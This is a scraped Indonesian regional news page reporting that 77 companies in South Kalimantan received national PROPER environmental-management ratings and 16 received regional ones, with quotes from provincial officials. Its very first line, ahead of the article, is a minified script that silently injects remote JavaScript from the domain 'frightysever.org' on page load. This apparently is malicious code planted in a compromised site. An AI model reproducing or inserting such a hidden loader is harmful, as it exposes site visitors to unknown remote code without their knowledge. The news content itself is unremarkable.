(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemprov Kalsel

Puluhan Perusahaan di Kalsel Terima Proper Nasional dan Daerah


KANALKALIMANTAN.COM, BANJARBARU – Puluhan perusahaan di Provinsi Kalimantan Selatan (Kalsel) mendapatkan penghargaan Program Penilaian Peringkat Kinerja Perusahaan dalam Pengelolaan Lingkungan Hidup (Proper) dari Kementerian Lingkungan Hidup dan Kehutanan (KLHK) RI dan Pemprov Kalsel, Senin (20/3/2023).

Ada 77 perusahan yang mendapatkan Proper dari KLHK RI (Propernas) dan 16 perusahan yang mendapat Properda.

Kepala Dinas Lingkungan Hidup (DLH) Kalsel Hanifah Dwi Nirwana mengatakan, ada beberapa perusahan yang mendapat Properda yang menjadi prospek untuk mendapatkan Propernas.

“Untuk 77 perusahan yang mendapat Propernas terbagi 1 Proper emas, 10 Proper hijau dan 63 Proper biru, serta 3 Proper merah,” rincinya.

 

Baca juga: Seruan MUI Kalsel Sambut Ramadhan: Tutup Total THM, Batasi Pergaulan Bebas Remaja di Cafe

Kemudian untuk Properda, 1 perusahaan mendapat Proper hijau dan 15 perusahaan mendapat Proper biru.

Disebutkan Hanifah, semua perusahan yang mendapatkan Propernas langsung dinilai oleh KLHK didampingi dari Pemprov Kalsel.

“Sistem penilaian sangat ketat dan juga dilakukan verifikasi ke lapangan langsung,” sebutnya.

Kedepan, untuk perusahaan-perusahaan di Kalsel, Hanifah berharap semakin banyak yang mengikuti Properda guna mendorong perusahaan dalam pemenuhan lingkungan hidup.

“Dengan banyaknya yang ikut, menjadi alat ukur pelaku usaha telah melakukan kewajiban dalam pengelolaan lingkungan hidupnya, diharapkan juga bisa melakukan hal-hal lebih dari yang diwajibkan dalam dokumen lingkungan hidup maulun regulasinya,” harapnya.

Baca juga: Jalan Trikora Banjarbaru Akan Terpasang PJU dengan Smart System

Sementara itu, Sekdaprov Kalsel Roy Rizali Anwar mengatakan, dengan banyaknya peraih Propernas di Kalsel, kedepan bisa terjadi peningkatan pengelolaan lingkungan di lingkup masing-masing perusahaan.

“Masing-masing perusahaan dapat memahami tentang pengelolaan lingkungan dalam kegiatan industri maupun bisnis agar tidak mencemari lingkungan,” tutupnya.

Sekadar diketahui ada beberapa kriteria yang dilakukan dalam penilaian proper lingkungan oleh KLHK. Mulai dari pengendalian pencemaran air, pemeliharaan sumber air, pengendalian pencemaran udara, pengelolaan limbah B3 dan non B3, sampai pengendalian kerusakan lahan. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

DPMD HSU Apresiasi Kader Desa Pemenang Lomba Posyandu 2024

KANALKALIMANTAN.COM, AMUNTAI - Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Hulu Sungai Utara (HSU) memberikan… Read More

29 menit ago

Pemondokan Kafilah HSU Dikunjungi Sekda Tapin

KANALKALIMANTAN.COM, RANTAU - Sambutan hangat ditunjukkan Kafilah Hulu Sungai Utara (HSU) saat menerima kedatangan Sekertaris… Read More

50 menit ago

KPU Banjarbaru Terima 96 Pendaftar Calon PPK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima 96 pendaftar calon anggota Panitia… Read More

2 jam ago

Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

KANALKALIMANTAN.COM, AMUNTAI - Tepat hari ini Rabu 1 Mei 2024, 72 tahun silam atau tepatnya… Read More

2 jam ago

PLN Gelar Halalbihalal Bersama Anak-anak Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

15 jam ago

This website uses cookies.